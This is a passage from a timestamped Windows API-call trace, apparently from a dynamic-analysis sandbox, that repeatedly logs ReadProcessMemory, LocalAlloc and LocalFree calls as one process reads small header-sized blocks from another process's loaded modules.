(uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.377] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefdd800e0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.377] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.377] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefdd800e0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.378] LocalFree (hMem=0x16bb80) returned 0x0 [0193.378] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.378] LocalFree (hMem=0x16bb60) returned 0x0 [0193.378] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14aa90, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.378] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x16bb60 [0193.378] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x168608, lpBuffer=0x16bb60, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.378] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feffab0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.378] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.378] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feffab00f0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.378] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.378] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feffab00f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.378] LocalFree (hMem=0x16bb80) returned 0x0 [0193.378] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.378] LocalFree (hMem=0x16bb60) returned 0x0 [0193.378] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14ab80, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.378] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.378] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1496a8, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.379] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd240000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.379] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.379] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd2400e8, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.379] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.379] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd2400e8, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.379] LocalFree (hMem=0x16bb80) returned 0x0 [0193.379] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.379] LocalFree (hMem=0x16bb60) returned 0x0 [0193.379] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14ac70, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.379] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 [0193.379] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1496f8, lpBuffer=0x16bb60, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.379] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd230000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.379] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.379] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd2300f0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.380] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.380] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd2300f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.380] LocalFree (hMem=0x16bb80) returned 0x0 [0193.380] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.380] LocalFree (hMem=0x16bb60) returned 0x0 [0193.380] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14ad60, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.380] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 [0193.380] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x149838, lpBuffer=0x16bb60, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.380] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd1d0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.380] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.380] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd1d00e0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.380] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.380] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd1d00e0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.380] LocalFree (hMem=0x16bb80) returned 0x0 [0193.380] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.380] LocalFree (hMem=0x16bb60) returned 0x0 [0193.380] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14ae50, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.381] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x18df70 [0193.381] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x149978, lpBuffer=0x18df70, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18df70*, lpNumberOfBytesRead=0x0) returned 1 [0193.381] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd120000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.381] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.381] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd1200e0, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.381] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.381] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd1200e0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.381] LocalFree (hMem=0x16bb60) returned 0x0 [0193.381] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.381] LocalFree (hMem=0x18df70) returned 0x0 [0193.381] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14af40, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.381] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 [0193.381] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1499c8, lpBuffer=0x16bb60, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.381] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd0c0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.381] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.381] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd0c00e8, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.382] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.382] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd0c00e8, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.382] LocalFree (hMem=0x16bb80) returned 0x0 [0193.382] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.382] LocalFree (hMem=0x16bb60) returned 0x0 [0193.382] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14b030, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.382] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x18df70 [0193.382] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x149a18, lpBuffer=0x18df70, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18df70*, lpNumberOfBytesRead=0x0) returned 1 [0193.382] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd090000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.382] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.382] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd0900e0, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.382] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.382] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd0900e0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.382] LocalFree (hMem=0x16bb60) returned 0x0 [0193.382] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.382] LocalFree (hMem=0x18df70) returned 0x0 [0193.382] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14b120, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.383] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x18df70 [0193.383] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1709f8, lpBuffer=0x18df70, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18df70*, lpNumberOfBytesRead=0x0) returned 1 [0193.383] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd030000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.383] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.383] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd0300e0, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.383] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.383] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd0300e0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.383] LocalFree (hMem=0x16bb60) returned 0x0 [0193.383] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.383] LocalFree (hMem=0x18df70) returned 0x0 [0193.383] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14b210, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.383] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.383] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1709a8, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.383] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefdae0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.383] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.383] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefdae00f0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.384] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.384] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefdae00f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.384] LocalFree (hMem=0x16bb80) returned 0x0 [0193.384] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.384] LocalFree (hMem=0x16bb60) returned 0x0 [0193.384] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14b300, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.384] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.384] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x177318, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.384] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcff0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.384] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.384] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcff00e0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.384] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.384] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcff00e0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.384] LocalFree (hMem=0x16bb80) returned 0x0 [0193.384] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.384] LocalFree (hMem=0x16bb60) returned 0x0 [0193.384] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14b3f0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.385] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 [0193.385] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x177458, lpBuffer=0x16bb60, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.385] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcfa0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.385] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.385] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcfa00f0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.385] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.385] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcfa00f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.385] LocalFree (hMem=0x16bb80) returned 0x0 [0193.385] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.385] LocalFree (hMem=0x16bb60) returned 0x0 [0193.385] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14b4e0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.385] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bb60 [0193.385] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x177598, lpBuffer=0x16bb60, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.385] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcf80000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.385] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.385] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcf800e0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.386] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.386] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcf800e0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.386] LocalFree (hMem=0x16bb80) returned 0x0 [0193.386] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.386] LocalFree (hMem=0x16bb60) returned 0x0 [0193.386] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14b5d0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.386] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bb60 [0193.386] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1776d8, lpBuffer=0x16bb60, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.386] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcf30000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.386] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.386] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcf300f0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.386] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.386] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcf300f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.386] LocalFree (hMem=0x16bb80) returned 0x0 [0193.386] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.386] LocalFree (hMem=0x16bb60) returned 0x0 [0193.386] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14b6c0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.387] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x18d290 [0193.387] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x178778, lpBuffer=0x18d290, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18d290*, lpNumberOfBytesRead=0x0) returned 1 [0193.387] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcee0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.387] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.387] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcee00e8, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.387] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.387] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcee00e8, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.387] LocalFree (hMem=0x16bb60) returned 0x0 [0193.387] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.387] LocalFree (hMem=0x18d290) returned 0x0 [0193.387] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14b7b0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.387] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x18df70 [0193.387] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x149248, lpBuffer=0x18df70, nSize=0x20, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18df70*, lpNumberOfBytesRead=0x0) returned 1 [0193.387] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd990000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.387] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.387] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd9900e0, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.388] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.388] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd9900e0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.388] LocalFree (hMem=0x16bb60) returned 0x0 [0193.388] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.388] LocalFree (hMem=0x18df70) returned 0x0 [0193.388] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14b8a0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.388] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x18df70 [0193.388] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1778b8, lpBuffer=0x18df70, nSize=0x1c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18df70*, lpNumberOfBytesRead=0x0) returned 1 [0193.388] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcec0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.388] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.388] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcec00f0, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.388] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.388] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcec00f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.388] LocalFree (hMem=0x16bb60) returned 0x0 [0193.388] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.388] LocalFree (hMem=0x18df70) returned 0x0 [0193.388] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14b990, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.389] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 [0193.389] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x177a98, lpBuffer=0x16bb60, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.396] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.396] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.397] LocalFree (hMem=0x16bb80) returned 0x0 [0193.397] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.397] LocalFree (hMem=0x16bb60) returned 0x0 [0193.397] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.397] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.398] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.398] LocalFree (hMem=0x16bb80) returned 0x0 [0193.398] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.398] LocalFree (hMem=0x16bb60) returned 0x0 [0193.398] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 [0193.398] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.398] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.399] LocalFree (hMem=0x16bb80) returned 0x0 [0193.399] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.399] LocalFree (hMem=0x16bb60) returned 0x0 [0193.399] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x18df70 [0193.399] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.399] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.400] LocalFree (hMem=0x16bb60) returned 0x0 [0193.400] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.400] LocalFree (hMem=0x18df70) returned 0x0 [0193.400] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 